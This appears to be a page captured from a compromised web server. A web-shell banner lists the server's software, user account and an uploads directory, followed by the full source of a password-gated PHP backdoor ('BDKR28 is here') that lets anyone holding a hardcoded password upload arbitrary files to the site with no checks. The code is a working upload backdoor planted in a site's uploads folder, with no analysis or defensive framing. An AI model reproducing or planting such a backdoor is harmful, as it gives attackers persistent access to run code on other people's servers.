|
Server : Apache/2.4.18 (Ubuntu) System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64 User : oppastar ( 1041) PHP Version : 7.0.33-0ubuntu0.16.04.15 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, Directory : /var/www/mesinpolesshinemate.com/public_html/uploads/ |
Upload File : |
<?php
// Title: BDKR28 is here
?>
<!DOCTYPE html>
<html>
<head>
<title>BDKR28 is here</title>
</head>
<body>
<?php
$password = isset($_GET['BDKR28']) ? $_GET['BDKR28'] : '';
$correct_password = '9tcc'; // This will be replaced with a random password
if ($password !== $correct_password) {
echo '<center><h2>BDKR28 is here</h2><b>Invalid Password!</b><br><br>';
echo '<form action="" method="get">';
echo '<input type="password" name="BDKR28" placeholder="Enter Password">';
echo '<input type="submit" value="Submit">';
echo '</form></center>';
exit;
}
echo '<center><h2>BDKR28 is here</h2>';
echo '<form action="" method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file"><br><br>';
echo '<input type="submit" name="upload" value="Upload File">';
echo '</form>';
if (isset($_POST['upload'])) {
$file = $_FILES['file']['name'];
$tmp = $_FILES['file']['tmp_name'];
if (move_uploaded_file($tmp, $file)) {
echo '<b>File Uploaded Successfully!</b><br>';
echo 'File: <a href="' . $file . '">' . $file . '</a>';
} else {
echo '<b>File Upload Failed!</b>';
}
}
echo '</center>';
?>
</body>
</html>